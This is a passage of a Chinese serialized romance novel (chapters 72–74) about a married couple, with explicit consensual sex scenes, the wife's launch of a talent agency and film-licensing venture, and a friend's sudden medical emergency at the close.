谁让他昨晚对她那么狠的，对她哭着求饶和停下的要求充耳不闻，反而更加亢奋，变本加厉。新拆的小雨伞用掉了大半，买的装备也被弄破成了一次性用品，到最后她变成了一滩水，连一个字都哼不出来了。 邵成章是开会结束出了会议室才看到 沈灼的消息的，他点开聊天框，瞥了一眼感觉沈灼发的好像很私密的照片后迅速退出了，他只能等到回办公室看。 快走到办公室的时候，他让陈航二十分钟后给他送一杯冰美式。 刚推门而进，邵成章迫不及待再次打开图片，确实是私密照片，但是看到沈灼发的文字他突然心里一紧，放大图片看，确实是有些吓人。 是不是昨天下手太重了。 邵成章几乎没犹豫，直接拨通了视频电话，几秒后沈灼接起来，撅着嘴巴看着他。 “老婆疼不疼，给我看看。”邵成章轻皱起眉头。 “看什么啊。”沈灼支着下巴装听不明白。 “胸。” “你好流氓啊。”沈灼故意道，“大白天的怎么让人家给你看这个。” 邵成章抿着嘴巴，一脸严肃：“别闹，让我看看严不严重。”他是真的担心自己下手太重。 沈灼见他脸上毫无笑意，连忙摆手认真说：“没事，一点都不疼，我吓唬你的。” “老婆，我一点都不喜欢你说没事。” 沈灼和他保证：“是真的没事！不信你晚上回来自己看嘛。” 邵成章这次微微松口气，“以后不会了。” 沈灼发出很长很软的一声“嗯”，“其实我还挺喜欢的，真的。”她很难说出那是一种什么感受，但其实她并不排斥，反而还有点享受。 邵成章听她这么一说，又想起来昨晚她是怎么哭的，他是怎么用力钉在她身上的，喉结上下滚动，声音都有些发沉，“又招我。” 沈灼不服气：“谁招你了，是你先打视频来要看那什么的。” 邵成章反问：“那是谁先发的照片？” 沈灼：“我那是伤情，不算。” 邵成章笑了下：“好好好，怎么都是你说有理。” 沈灼哼一声：“我本来就有理，你别说不过我就把责任推在我身上。” 邵成章照单全收，又问她：“在家干什么呢？” 沈灼说：“刚联系了几名艺人，下午我去工作室。” 沈灼的工作室选在向京区的一家老办公楼里，面积不大，总共四十多平，隔出来一个财务室，两间办公室，一个小会议室和会客区，但就这样的大小，一个月的租金也要一万多。 基础的桌椅沙发都有，她就只买了些在风水上招财的东西以及日常和办公用品，需要去布置一下。 晚上邵成章有饭局，沈灼和陈姨一起吃的晚饭。 沈灼很喜欢他的一点就是，邵成章每次都会提前报备并且到饭局之后会拍照片，桌上几男几女她都清楚，而且邵成章大多时候不喝酒，也不会很晚回来。 今天他饭吃一半，就和自己说喝了点酒。沈灼看破他那点小心思，也没戳破，顺着他说的问：“要我去接你吗？” 邵成章回：“要。”说完，发了个餐厅位置过来。 “大概什么时候结束？”她看了下，打车过去还得二十多分钟。 邵成章说：“你来我们就结束。” “……”沈灼起身进屋换了睡衣，打了个车去接他。 她到了大堂告诉邵成章自己到了，他说自己马上下来。 “老婆。”邵成章走到大堂就看见沈灼了，笑着朝她招手。沈灼看过去，他的周围还有四五个年纪和他相仿的男人。 走近了，他旁边一个男人说：“这就是嫂子吗，长这么漂亮怪不得学长偷摸结婚了不让我们知道。” 另一人打趣道：“上学的时候，他可没少拒绝学校里的女孩子，当时还有外校的啦啦队队长和我们学校的队长打赌，看谁先拿下他呢，结果他看都不看一眼。” “早知道，今晚嫂子应该过来和我们一起吃饭的啊。” “难怪一晚上都在看手机，是着急回家了。” 沈灼这才知道，原来是今天是邵成章和他校友聚餐，而她很随意地穿了套运动服，戴着框架眼镜就出来了，一点也不正式。 她尴尬地冲各位笑笑，打了个招呼。 邵成章及时制止他们的打趣，道别之后，挽着沈灼离开了。卡宴的车钥匙递给沈灼，他毫不犹豫上了卡宴的副驾。邵成章腿长，位置靠后，沈灼上车后调整了一下座位才开动。 她第一次开卡宴，加上又不太熟悉，怕给他磕了碰了，她一路都开得慢。 路灯投下昏黄的光，经过的时候，一明一暗地映在她身上。邵成章一直侧着头看她，一边看还不忘说：“老婆，你真好看。” 终于等到一个红灯，沈灼缓缓停下，转头对上他沉沉的眼神，她伸手将他的脸推到正视前方，“你说一路了，能不能别看我，看路。” 邵成章握着她的手，头又转回来：“我今天又不开车，我就要看你。”说着又捏起她的手，和她十指相扣。 一喝酒就耍无赖，沈灼放弃和他理论，任由他看一路回家。 * 邵成章洗完澡出来直接上床，拦腰抱着沈灼，头枕在她的肚子上，鼻息之间是沈灼身体乳白茶香味和洗衣液的花香味。 他像只大狗使劲拱了拱，整张脸都好像要印在她的身体里，沈灼被他拱得发痒，手拍在他的背上让他别闹。 邵成章想起来白天那事，抬头，额头顶在小尖上蹭了蹭，说：“我看看怎么样了。”沈灼都还没说话，他已经抬手在解扣子了。 沈灼笑问：“你是医生吗你就看？” “我是啊。”邵成章眨着眼睛，说得十分坦然。 沈灼挺直身体，垂下头对上他的视线：“那请邵医生帮我看看吧。” “好啊。”她洗完澡里面没穿，解开扣子他就看见了，血点颜色是深红色的，他按上去戳了戳，假装问，“这是怎么搞成这个样子的？” 沈灼忍着笑，想了想说：“嗯……我老公打我。” 邵成章喉结一滚：“那我给你揉一揉，好吗？” “好啊。”沈灼说。 邵成章像模像样地揉着按着，一边问她：“这样疼不疼？” 沈灼一一摇头：“不疼。” “这样呢？”他直接覆在上面，包裹住一边。 “嗯……这样舒服一点。”后腰又开始酥麻，沈灼急促地吸了两口气，“医生，我伤得严重吗？” “不严重，每天我给你揉一揉，揉开了就好了。” “每天要揉多久呀，我老公…嗯哼…不让我经常出来的。” “还有更快的办法，你想不想试试？” “什么呀？” 邵成章手一撑起来，直接整个人趴在她身上，大手抵在她的腰背上，他伸出舌尖一卷，接着用嘴巴包住了。 沈灼闭上眼睛，鼻翼翕张，微张的嘴唇呼出不稳的气息。 一个疗程结束，又开始另一个疗程。 沈灼想推开他的脸：“不行医生…唔…我要回家了，我出来久了老公会怀疑的。” 邵成章含着，抬眼囫囵地问她：“你老公能让你这么舒服吗？嗯？” “不…不知道……” “不知道？”邵成章张开嘴巴，撑起身子，挑眉看她，“那一会儿你就知道了。” 马上，沈灼就溃不成军，软成一滩，偏偏邵成章还没出戏。 “医生和老公谁厉害？” 沈灼用尽最后一丝意识，哆嗦着说：“医生……” 邵成章狠狠一撞，呜咽着的沈灼又改了口：“老…老公厉、害…” “到底是谁？”邵成章深入浅出，速度快得沈灼根本来不及思考。 沈灼在一连串的被撞破 的呜呜咽咽中，终于断断续续喊出了邵成章的名字。 * 给艺人发出去的消息零零散散收到几条回复，对方都委婉回复暂时不考虑签公司，还有让沈灼去艺人那里任职的。尽管沈灼没有那么乐观，但是她这时才觉得之前好像是高估了自己。 以前她跟着花姐，花姐离开之后她背靠鲸禧。不管是花姐还是鲸禧，其实对方看中的是她依靠的资源。而现在她自己出来单打独斗，说白了即便是她曾经捧出来影帝影后，那也是她有选择好项目的能力。 这个前提是她有选择，而现在她手里没有艺人，不论是平台还是制作方，谁还会给她发项目让她挑呢？ 沈灼花了两天的时间接受了这样的残酷结果，而后发现自己迷茫了。 如果签不下演员她怎么办？每个月高额的贷款又要怎么办？ 邵成章明显感觉这几天沈灼的情绪很低落，他大概也能猜到一二。 他对沈灼贷款的事还耿耿于怀，终于他找了个时间拉着沈灼说要给她算一笔账，其实他想表达的很简单，就是沈灼用他的钱。 银行贷款利息一点都不低，沈灼每个月又要房贷又要还贷款，一个月光是这些钱就要三万多，更别说还有工作室租金以及其他支出的压力。 迟女士多给的那二十万，根本撑不了她多久。 “所以呢？”沈灼问。 “所以贷款应该还上，这钱我给你。”邵成章搂着沈灼，让她坐在自己腿上。 她自己也知道，只不过还是做不到直接用邵成章的钱去创业，但目前没有进账，她也确实焦虑。 沈灼思忖好一会儿，说：“我不要你的钱，但是我可以借你的，你利息给我低一点。” 邵成章说：“我不缺钱，利息可以用别的方式还。” 沈灼无奈地瞥他一眼，她又问：“那你就不怕我创业失败，你这些钱打了水漂吗？” “创业本来就有赔有赚。赔了我们也不会有什么损失，但你积累了创业的经验。赚了说明你辞职，重新开始就是很正确的决定。怎么看，这笔钱都不算是打了水漂。” “好吧，我被你说服了。”沈灼捧着他的脸，望进他的眼睛，“其实我嘴上说我自己可以，但其实敢辞职还是因为有你在，我相信你是我的底气，所以才敢这么硬气地和杨瑞泽叫板。” 邵成章笑了下，又想了想说：“听你这么说可真开心，不过你辞职是因为你对自己有信心和认可，所以你并不担心辞职之后你会找不到工作，而且你有自己的想法，创业是早晚的事。” “好吧，也有一部分是这样。”沈灼听他说着笑出来，“明明是我在和你很认真的表白，怎么成商业互吹了呢。” 邵成章抬起下巴亲在她的额头上，安慰她道：“老婆，不管遇到什么事，我都会是你背后的那个男人。” 第72章 沈灼抽时间去银行申请了提前还贷，然而银行规定还款未满一年提前还贷还需要缴纳违约金。沈灼计算了下一年还贷的利息和违约金，两厢之下取其轻，交了两万多的违约金。 自己一顿瞎折腾，沈灼又折进去这么多钱，可把她心疼坏了，一直在自责：“两万多啊，这钱干什么不好，白给出去了，我真服了我自己。” 邵成章知道后，安慰她说没什么，这已经是目前最小的亏损了。 沈灼撇着嘴巴哼唧：“你还不如骂我几句呢，你不怪我我心里更难受。要是我早听你的，和你商量就好了。”说完又长叹一口气， 邵成章笑了下：“没关系，就当花钱消灾。再说了，你签个艺人不就回来了？” 沈灼摇摇头，已经一周了，签艺人的事她毫无头绪。现在就是她中意的艺人签不下，能签下的艺人她又觉得差点意思。 整个进度就此停滞，而且她发现她根本没有解决办法。 沈灼像是无头苍蝇，陷入无尽的迷茫之中。她常常坐在窗边琢磨，然而一琢磨就几个小时，直到天色渐黑起了风。 秋风吹起长发，吹掉落叶，A市迎来了一年中最舒爽的十月份。 十一假期，林意约沈灼出来吃饭，她已经在怡华工作了一个月，发工资后第一件事就是请沈灼吃饭。 俩人直接约在餐厅见面，沈灼递给林意一个精致的纸袋，“这是送你的。” 林意在鲸禧的最后一天，送给沈灼一瓶香水作为离职礼物，那是沈灼很喜欢的味道之一。作为还礼，沈灼去海岛旅游的时候除了给她买的当地特产礼物，还买了一套自己很喜欢的香水品牌洗护套装送她。 林意没推辞，大大方方地收下了，“谢谢沈灼姐。” 等待上菜的时候，沈灼问林意新公司怎么样，林意说学到了很多。 她在怡华主要负责市场调研与选片评估，重点挖掘戛纳、柏林等电影节还有一些国外独立电影公司制作的潜在项目，从影片的题材、海外票房表现、奖项潜力以及主创团队的知名度等方面评估是否可以引进国内。 “说起来，要不是因为你从一开始就让我学着评估剧本，我肯定拿不到这个offer的。”林意说，“对了，沈灼姐，我听说你辞职了呀，以后想做什么？” 沈灼说：“还是做艺人经纪这块儿。” 林意道：“哇，自己当老板爽了！要是我领导可以像你一样就好了。” 沈灼笑了下：“怎么了？” 林意叹了口气说起来，她之前评估了一部片子，组长已经过了，她第一次试着和对方公司联系，拿到了一个很合适的价格，结果报上去被毙掉了。 “我真觉得那部片子挺好的，太可惜了。” “林意啊，这种引进版权利润空间大吗？”虽然都是影视行业，但是沈灼在制作投资这块还真不了解。 “这种投资，当然大呀，我也是进了怡华才知道的。”林意说，“上半年《黎明可期》这部电影就是我们公司引进的，花了300万买断，最后票房三千多万，营销是怡华自己的没花钱，最后纯赚700多万，现在又卖给平台网络版权，加起来快有小一千万了。” 沈灼想了想，问：“你看好的那部片子叫什么，有资源吗？” 林意说有，复制好链接给沈灼发过去了。 “这片子在国外上映票房很不错，但是国内没有什么宣传，某瓣上打分的人才四千人。” “我回去看一看。” 林意问：“沈灼姐，你想转投资试试嘛？” 沈灼笑了笑：“也未尝不可啊，现在干什么都不好干呢。” 林意了然：“要是你有需要我帮忙的，尽管找我。” 沈灼笑着说好。 林意推荐的那部电影在去年入围了戛纳主竞赛单元。女主想要筹钱做生意摆脱贫困，让女儿上学，可是因为虚荣的丈夫最终化为泡影，在女儿即将被送往工厂的前一刻，女主带着女儿逃了出来。 沈灼看完电影之后呼了一口气。好看，后劲很大，同时将底层人的贫穷和女性的困境展现的淋漓尽致。 晚上，沈灼失眠了。 她做了一系列的分析，去了解了国外买断片在国内上映的预算，买断费加翻译、宣发等等，怎么也要500万，而且票房至少要达到2000万才能回本。 风险大，但是如果上映成功，那么回报也是极高的。 沈灼平时也有理财投资，但是她属于保守稳定型，大部分都是R1R2级别的保本理财，或许是背负了300万的压力，她竟然产生了赌徒心理，想要试一试。 但问题又来了，眼下她并没有充足的资金。 沈灼在床上翻来覆去，尽管每次翻身她都很小心，可还是吵醒了邵成章。 他睁开眼，哑声问：“睡不着吗？” 沈灼抱歉地说：“对不起啊，吵醒你了。” 邵成章：“是有什么烦心的事吗？” “嗯，我晚上和林意出去吃饭了，就是我之前推荐去 怡华的小助理……“沈灼提到林意推荐的电影，说到买断投资，她大致讲了下电影内容，“你觉得这片子引进国内上映，会有人去看吗？” 邵成章秒懂她的意思：“你想引进投资这部片子吗？” “我不知道。”沈灼手抚上额头，有些没有主意了。 “老婆，钱不是问题。”邵成章知道沈灼考虑的点在哪里。 对邵成章来说不是问题，但对沈灼来说就是最大的问题，她已经借了300万，又怎么好开口和他再要200万呢。 她不想因为自己的事打扰到邵成章，于是拱进他的怀里，拍拍他的背，哄他睡觉，“嗯，我知道，有你呢，先不想了，睡觉吧。” “嗯。”邵成章搂紧了她，低头找到沈灼的额头落下了一个吻。 * 第二天沈灼收到邵成章的信息，他花了一上午的时间写了一份投资规划，既可以满足沈灼想要投资引进片子的想法，又可以缓解她的资金压力，那就是联合万花筒一起投资，分摊压力。 可沈灼盯着那份PDF看了很久，心里却是五味杂陈。 这不还是他的资源，他的钱吗？她就只有这一个选择吗？ 沈灼陷入焦虑和怀疑之中，她开始怀疑自己是不是不该那么冲动辞职。也或许，她应该接受之前艺人工作室递过来的offer，继续当经纪人带艺人。 为什么要选择创业呢？明明自己也没有那两把刷子。她就像陷进一团厚重的泥沼，想往前走，却寸步难行。 她焦躁地揉了揉太阳穴，可下一秒她又鼓励自己。 万事开头难，她反复对自己说。这不过是刚开始，每个创业的人一定都会经历一段混乱无序的时期。现在的自己，不是失败，只是还没走到那个转折点。 她需要冷静下来。 她去书房找点鸡汤，结果书没翻两页就放下了；去影音室看电影，没看多久就又拿起手机开始刷社交平台，推送的内容也很无趣。 她现在什么都干不进去。 沈灼现在迫切地想知道她什么时候能变好呢？她太需要有个人来告诉她了。 晚上邵成章回来，问她联合投资的事怎么样，沈灼没应反而和他说想去忻城一趟。 “那我陪你去？”十一假期的最后两天，邵成章就是留出来陪沈灼的，他疑惑地问她，“不过去忻城干什么？” 沈灼一脸严肃：“我想了一下午，突然想起来我之前去忻城遇到一个算命的，他算的真的特别准，我觉得我得去一趟。” 邵成章哭笑不得：“现在改信玄学了？” 不仅相信东方玄学，她还相信西方玄学，下午大数据还给她推送大众占卜。 沈灼鬼使神差地点进去，选了一组牌，抽出来高塔和世界，博主解释如果体现在事业上，那么现在的困境就是她通往成功的必经之路。 沈灼泄气一般：“我就是想知道我选的这条路对不对啊。” 邵成章垂眼看着她：“老婆，我第一次见你这么不自信。” 他伸出手，拇指和食指刮平沈灼皱起的眉头，“感觉你这段时间都不开心，你好久都没笑过了。” “我也不想这样，可我就是忍不住焦虑啊。”沈灼叹口气，还带着一丝说不清的委屈，“老天是不是看我过得太舒服了，非得给我找点事儿。” 沈灼这一路走来，在学业和事业还有感情上，她认为自己足够幸运，似乎都没吃过什么苦，就连盲选结婚的老公，都是如此的优秀。若是放眼看她的这个人生，除了有一个不负责任的爸，让她叛逆了两年，也没什么太糟心的了。 “没有人可以一直顺风顺水的，人生，就是要酸甜苦辣都经历一遍，哪有人能一直挑着吃甜的。” 沈灼抿着嘴巴不说话，不知道在想什么。 “而且，你在走出舒适区，以前在公司，再怎么样都有公司兜底，现在你自己成了老板，就是自己对抗风险。” 邵成章顿了下，又道：“别怕失败，我们不是输不起。我能理解你焦虑，但我不希望你因此质疑你自己。” “那你呢？你从来都不焦虑吗？” 邵成章轻笑一声：“焦虑当然会有，但它解决不了任何问题。所以允许它存在，然后继续做事。” 他想了想说，“别去忻城了，明天我带你去个地方。” “去哪儿？” 邵成章卖个关子：“去了就知道了。” * 邵成章是带她去徒步，目的地是A市西郊的一座名山，不过走的不是公园里登顶的常规路线，而是从一侧山路上去。 邵成章告诉沈灼，以前他心情不好就会出来徒步，国内有名的徒步路线他几乎都走遍了。 野生山路不像台阶那种好走，沈灼跟在他后面，没一会儿就开始气喘了。邵成章伸手要牵她，又被她推开。 她哼了声：“看不起谁呢。” 邵成章无奈笑笑，接着又往上走。 “回头看。”邵成章在一颗大石头旁停下，扶着沈灼。 沈灼转头一看，发现自己爬得相当高了，已经可以俯瞰整个城市了，她忍不住哇了声，拿出手机拍了张照片。 一路上，沈灼听邵成章讲他之前徒步遇到的有趣的事和人，走走停停，历经近三个小时，终于翻过了一座山头。 “还要再继续吗？” 沈灼已经过了呼哧带喘的阶段，只是觉得脚后跟有点酸，她点点头说可以。 等到两个人下来，已经四点多了，从山路到停车场还有一公里多的下坡，沈灼感觉腿打颤，一点也走不动了。 “我背你。”邵成章将背包背到前面，而后在她前面蹲下。 “真的假的？你行吗？”他也走了近六个小时，沈灼怕他也受不了。 邵成章哼了一声，模仿她的语气说：“看不起谁呢。” 沈灼扑哧笑出来，她四下看了眼，这条路也没什么人，她便俯身趴在他背上一直到停车场。俩人没直接回家，沈灼饿得前胸贴后背，选了一家烤肉店直奔过去。 吃到滋啦冒油的烤五花肉的那一刻，沈灼觉得人生也不过如此了。 邵成章看着她一脸满足的样子，笑问：“你知道我为什么喜欢徒步吗？” “为什么？” “因为在那一刻，脑子里只有脚下的路，不会看前面还有多远，也不会回头看走了多远。”邵成章翻着烤肉，“你没发现，今天一整天你都没有提起那些不开心的事。” “是诶。”沈灼这才惊觉，她今天一点都没想工作室那些糟心事儿，虽然身体很累，但是心情竟然很放松很愉悦。 邵成章笑着将烤好的肉给她夹到盘子里，“都是你的，多吃点。” 回程路上，沈灼意外地接到了黎雅琦的电话，对方语气很沉重，告诉她步繁因为不满意新导演退出《雾灯》了，问沈灼还有没有推荐人选。 她之前找过备选人选，咖位没有步繁大，但是也片约不断，马上就要开机了，备选演员们也未必有档期，沈灼说只能帮她问问。 挂了电话，沈灼叹气一声，想当初她为了步繁能带着关司予一起搭档《雾灯》费了多少心思，结果现在这个项目已经和她毫无关系了。 最心疼的还是送给在在的那些个隐藏款，白送了。 回到家，她还收到了关司予的短信，也不晓得他是怎么知道她新开了工作室，问她地址。上一条消息还是他冷冰冰地回复她“好的”，沈灼撇撇嘴，还是给他发了过去。 关司予约她工作室见。 晚上沈灼终于没再失眠，早就呼呼大睡，第二天一早就禁不住在床上哭嚎。 疼啊！太疼了！浑身都疼！尽管前一天晚上邵成章已经“上下其手”帮她全身按摩了一遍，可还是没太大的用处。 关司予见她扶着腰，一点点挪步走着，忍不住摇头感叹：“邵成章对你也太狠了点吧。” “……”沈灼白他一眼，“我这是去徒步了！” “和邵成章吗？” “对啊。” “那我说的有什么不对吗？” “……”好像这么说也对啊。沈灼有点无语，她扶着沙发坐下，“喝水还是茶还是咖啡，你自己弄吧，不和你客气了。” 关司予摇头：“不喝了。” “今天找我什么事啊？”她扬扬下巴 “在鲸禧，你是我第一个经纪人，那在星禾，我是你第一个艺人，这样才公平对吧。” 沈灼一怔：“你说什么？” “我说，”关司予看着她，笑了下，“沈灼姐，我来找你签约的啊。” 第73章 沈灼难以置信地看着关司予。 “我和鲸禧解约了。”关司予说，“干嘛这个表情啊，不欢迎？” “不，不是……”沈灼眨眨眼，“可是你在鲸禧还有三年才到期啊。” “交了点违约金。”他耸耸肩道，“本来也没多少钱。” 沈灼在心里叹口气，几百万对他们这种少爷来说只是洒洒水，却可以让她整宿睡不着觉。 “好吧。”沈灼说，“那你有什么想法吗？” 关司予摇头：“还是和在鲸禧一样，以拍电影为主，不拍偶像剧。” “是只想签影视约还是 ——” 关司予斩钉截铁地说：“全约。” 沈灼终于对他笑笑：“司予，谢谢。你的签约对我来说真的很重要。” 在无人愿意和她合作的时候，他肯选择她，对沈灼来说，她已经完成了从0到1这最艰难的一步。 关司予哼了一声：“既然很重要，也不问问我，就连从鲸禧离开的时候，只是发个消息通知我一声。” 沈灼品出他的意思，原来当初那么冷漠地回复是因为生气了啊。 她笑了下：“抱歉，当时是我欠考虑了。” 关司予冲她眨眼：“那这可算你欠我的，以后如果我犯了什么错，我得有一张免死金牌。” “你是不是提前给我挖坑呢？”沈灼觉得他话里有话。 关司予否认：“这不是不要白不要吗。” 沈灼“嘁”了声，她的电脑里本来就有关司予的签约合同，她做了微调，打印出来，双双签字。 关司予成为星禾第一名签下的男艺人。 “对了，《雾灯》那边的合同也需要重新签一下，和鲸禧没有关系了。”关司予说。 沈灼疑惑又震惊地看着他，“杨狗竟然能让到手的鸭子飞了？” 关司予笑了下：“说谁是鸭子呢，反正你就不用管了，目前只要没有出的通告都需要重新签约。” 这无疑对沈灼来说是个好消息，如果是以星禾艺人来签，那关司予《雾灯》的片酬有一半是属于工作室的。 说到《雾灯》，沈灼问：“你知道步繁退出了吗？” 关司予嗯哼一声。 “没有女主，还能正常开机吗，我现在都不知道女主还能推荐谁。” 关司予看向她：“我倒是有个人选。” “谁啊？” “蒋芮姐。” 听他这么一提，沈灼才想起来这个人，她怎么能把蒋芮给忘了呢！ 她立即翻手机招出蒋芮的微信，给她打电话。 蒋芮一听有个饰演女主的院线电影，还是和关司予搭档，连忙说自己有档期，沈灼挂了电话后又打给黎雅琦，说自己有个非常合适的人选。 在约黎雅琦见面之前，沈灼先把蒋芮约了出来。 她想签下蒋芮。 蒋芮起先还有些犹豫，她热爱表演，但并不意味着她喜欢娱乐圈，并且她对娱乐圈那一套规则并不熟悉。沈灼和她保证，会以她的意愿为主，让她演话剧的同时，帮她选择贴合个人形象的影视项目。 蒋芮被说服了，成为了星禾第一名签下的女艺人。 沈灼把剧本发给蒋芮看，和黎雅琦约好时间，三人见一见。 蒋芮棱角分明，其实板着脸会有一点攻击性，但是她的五官又很柔和，搭配在一起，会有一种清冷的倔强感，相比于步繁的干净，黎雅琦竟然感觉蒋芮其实是比步繁还要合适出演女主角的。 她不知道是出于已知这是目前最合适的演员的心理还是真的对蒋芮感到满意，在见她第一面之后，竟然就要签合同。 “不用试戏吗？”蒋芮还有点紧张。 “不用。”黎雅琦说，“沈灼给我发过你的表演片段，我觉得可以。” 在知道蒋芮也是沈灼签下的艺人后，黎雅琦笑说：“不知道的，还以为是你投资的这电影，男女主全是你的艺人啊。” 沈灼笑起来，“蒋芮和司予可是二搭了，不知道《野河》什么时候上，要是反应好，那这二搭作品还能蹭一蹭热度。” “那最好了呀，我现在心里这石头可真是落地了，你都不知道我几天愁的。”黎雅琦放松下来，依靠着椅背。 沈灼无比赞同，她心里的石头也同样落了地。 * 高楼之上，夜色沉沉地压下来，沈灼倚在露台的栏杆上喝酒吹风。灯火密密麻麻地亮起，像散落的星子坠入人间，马路上的车流蜿蜒，尾灯拖出长长的红线。晚风掠过耳畔，浴袍的带子和衣摆也被吹得摇晃。 背后传来动静，沈灼没有回头，想也知道是邵成章回家了。 “老婆。”有轻微的脚步声，一双大手搂住她的腰，她的背后贴在一片坚实的胸膛上。 邵成章从背后抱住她，头埋下去深深吸了一口，鼻腔里尽是浓郁的薰衣草味道，脸颊在她颈侧蹭着，说：“好香。” 沈灼回家之后就舒舒服服地泡了个澡，浴球是薰衣草味道的，让人感到治愈和轻松。她被他的短发刺得发痒，忍不住缩起肩膀笑起来。 邵成章明显感觉今晚沈灼的状态和前几天不一样了，他问：“有什么开心的事吗？” “嗯，”沈灼微侧过头和他说，“签了两个艺人，而且马上就会进组。” 邵成章抬起头，“是谁这么有眼光？” “关司予和蒋芮。” 邵成章轻微皱眉：“又是关司予？” 沈灼听出一股子酸味儿，“你不要谁的醋都吃好吗，毕竟我和他工作两年多了，我了解他自然也会做出对他更好的选择。” 邵成章嘴一瘪：“那你了解我吗？” “这个我可不确定。”沈灼故意拖长声音，“我怎么知道你到底想让我了解你多少呢？说不定你还有不少秘密呢。” “你真是——”邵成章无奈叹气，低头在她下颌处轻轻一吻，“倒打一耙，反咬一口。” 沈灼笑起来，哄他，“我们不是还有很长很长的时间可以去了解对方吗，如果一下子了解完一个人，岂不是没有新鲜感了？” 邵成章没说话，忽然收紧手臂将她抱得更近些，声音低下来：“那如果有一天，你对我没有新鲜感了怎么办？” “如果没有新鲜感了的话，那我们就重新再谈一次恋爱吧。”沈灼说，“到时候我就会问你‘邵成章，不如我们从头来过？’” “希望我永远不要听到你说这句话。” 沈灼说：“你就不能对我有信心一点啊？” “我只是对自己没信心。”邵成章张嘴轻轻咬在她肩膀上，一小口一小口的，不疼。 沈灼叫他：“小狗。” 邵成章鼻音“嗯”了声，头一顿一顿的还在咬她，他含糊地喊她：“老婆……” “嗯？” 邵成章也不说要干什么，只是很小声地喊她，他喊一声，她就应一声。 越喊声音越小，越软，越娇。 最后他还是忍不住说：“想要……” 沈灼逗他：“嗯？小狗想要什么？” “要你啊。” 沈灼另一只手还拿着红酒杯，里面还剩最后一口酒，她抬手递给他，“你喝了吧。” “小狗可不会喝酒。” 沈灼轻笑一声，自己仰头喝完。下一秒就被邵成章捏着下巴亲上去，软舌直入，舌面扫过了她口腔的每一寸。 她的嘴巴里还有淡淡的酒味和一丝丝的甜。 “小狗只会舔。”他松开她，又伸出舌尖意犹未尽地把自己嘴唇上沾染的味道也舔掉了。 沈灼眯起眼睛，勾着他问，“只舔嘴巴吗？” 邵成章喉结一动，直接打横将沈灼抱起来，走回卧室。 “一起洗澡好不好？”邵成章是真的一点忍不了了。 前段时间沈灼正好生理期，结束之后又因为工作室的事心情低落，没有心思做这些。邵成章不想勉强她，每天晚上都是抱着她睡的。 “不要。”沈灼要从他怀里下来，“我已经洗过了，你自己洗。” 邵成章把她放在床边，转身取了浴袍进了洗手间，里面还有似有若无的香味，和沈灼身上的味道一样。他感到口干舌燥，几乎是瞬间起来了。 迅速将自己洗干净，邵成章只披着浴袍就出去了。 他的浴袍松松垮垮地套在身上，唯独一处特别显眼，出来的时候，沈灼一眼就看到了。 她还没来得及说话，就已经被扑倒被压在他身下了。 “你是不是提前做坏事了？”她轻笑一声，戳了戳邵成章的脸。 邵成章反驳道：“才没有，是太想你了。” 沈灼“哦”了声，调子拖得又长又慢，“意思是某个局。部最想我呗。”她戳在他的胸口，又点了点他的额头，“这里不想，这里也不想。” 邵成章哑声道：“你在诬赖我。” 沈灼顺势勾住他脖子，在他耳边吹气：“那你证明给我看，有多想我。” 得到了明示的邵成章直接吻住她。 沈灼其实也根本不用做很多准备工作，她的思念都化成了水。 他一只手都接不住。 “刚换的又要换一新的条了。”沈灼嗔他。 邵成章在吻和吻的空隙之间说道：“我给你洗。” 沈灼哼了一声，算是满意这个答案。 她的视线开始模糊摇晃，沈灼失焦地望着天花板，觉得挂在上面的吊灯来回晃着就快要掉下来了。 不管她躺着还是跪趴着，她眼前所有的一切都在摇摆晃动。邵成章的脸，邵成章的身体……直到她没有力气，闭上眼睛。 她被人紧紧抱着，耳边传来了一声满足的喟叹。 第74章 关司予和蒋芮的片酬极大缓解了沈灼的资金压力。同时她着手进行《像她一样》的版权采买，沈灼给对方发送了邮件，最终花了280万买断了《像她一样》大陆播放版权。 《雾灯》因为步繁退出，有一家资方退出，沈灼将蒋芮的片酬直接转成份额，尽管并不多，但星禾仍然成为了《雾灯》的联合投资方之一。 突然签下两个艺人，沈灼还要负责招聘，她私下问关司予之前的艺人助理小芸想不想过来。小芸跟了关司予一年，各方面磨合得很好，认真机灵，沈灼私下里也很喜欢她。 沈灼对小芸也没有隐瞒，坦言工作室刚起步，资源和待遇比不上鲸禧，但如果她愿意来，不必再做助理琐事，沈灼会亲自带她接触经纪业务。如果她想往经纪人发展，这里会是更合适的跳板。 小芸几乎是没有犹豫，就说可以。 姜珺知道沈灼在忙着招人，她眼下正好没有项目，便自告奋勇帮她当hr。当务之急是需要招到两名小助理跟着关司予和蒋芮进组。 招聘进行了五天，在即将进组之前，姜珺终于招来了两个刚刚毕业的女孩子。 工作室走上正轨，一切都竟然有序的进行当中。 沈灼和姜珺挑了家餐厅吃饭庆祝，沈灼十分豪气地点了一支酒，两个人碰杯庆祝。 “灼子，以后你可就是沈总了。”姜珺笑着抿了一口酒，“真好，你马上就能养我了，你也知道我很好养的。” 沈灼和姜珺从毕业开始就约定好，以后如果沈灼成了很厉害的经纪人，或者是姜珺成了很厉害的编剧，不管是谁发达了，都不能抛弃糟糠之友，要对对方不离不弃，实现被对方包养的愿望。 “嗯，每天山珍海味是养不起，但是馒头就咸菜还是可以的。”沈灼笑着说。 姜珺撅着嘴巴说：“那可不行，你要是敢这样，我就天天跑到悦澜湾赖着你。” 沈灼给她夹了一个炸虾球，“我什么时候还亏待过你了，不过我这都是小本生意，我还等着你成大编剧呢，一集电视剧50万的稿费，不比我赚钱么。” 姜珺叹一口气：“别说50万了，一集5万我现在都满足了。”说着喝了一口酒，刚放下杯子，她脸色忽然一变，眉头皱起，手紧紧捂住肚子。 姜珺的脸几乎是瞬间就变得发白，沈灼忙问：“姜珺，你怎么了？” “肚子……有点疼。”姜珺用手摁住小腹，声音细若游丝，“灼子，你带卫生巾了吗？我好像……来月经了。” 沈灼一愣：“咱俩的日期不是应该差不多吗，你这是推迟了吗？” 姜珺摇摇头：“不知道，我上个月就没来，可能是因为我妈住院那会儿太焦虑了，我没管。” “我车上有，我去给你拿。”沈灼刚要起身，却看到姜珺整个人已经趴在桌子上，额头抵着桌面，脸色几乎惨白。 “姜珺！”沈灼慌了，赶紧扶住她，“你还能坚持吗？” 姜珺费劲地抬起头，嘴唇泛白，呼吸急促：“我……我没事，就是……肚子，好疼……靠……” 话没说完，人就失了力，软软地往沈灼怀里倒下去。 沈灼吓得大叫一声：“姜珺！”她往姜珺的腹部看了一眼，此刻她穿的牛仔裤已经被血浸透了，沈灼慌忙抓起手机拨打120。 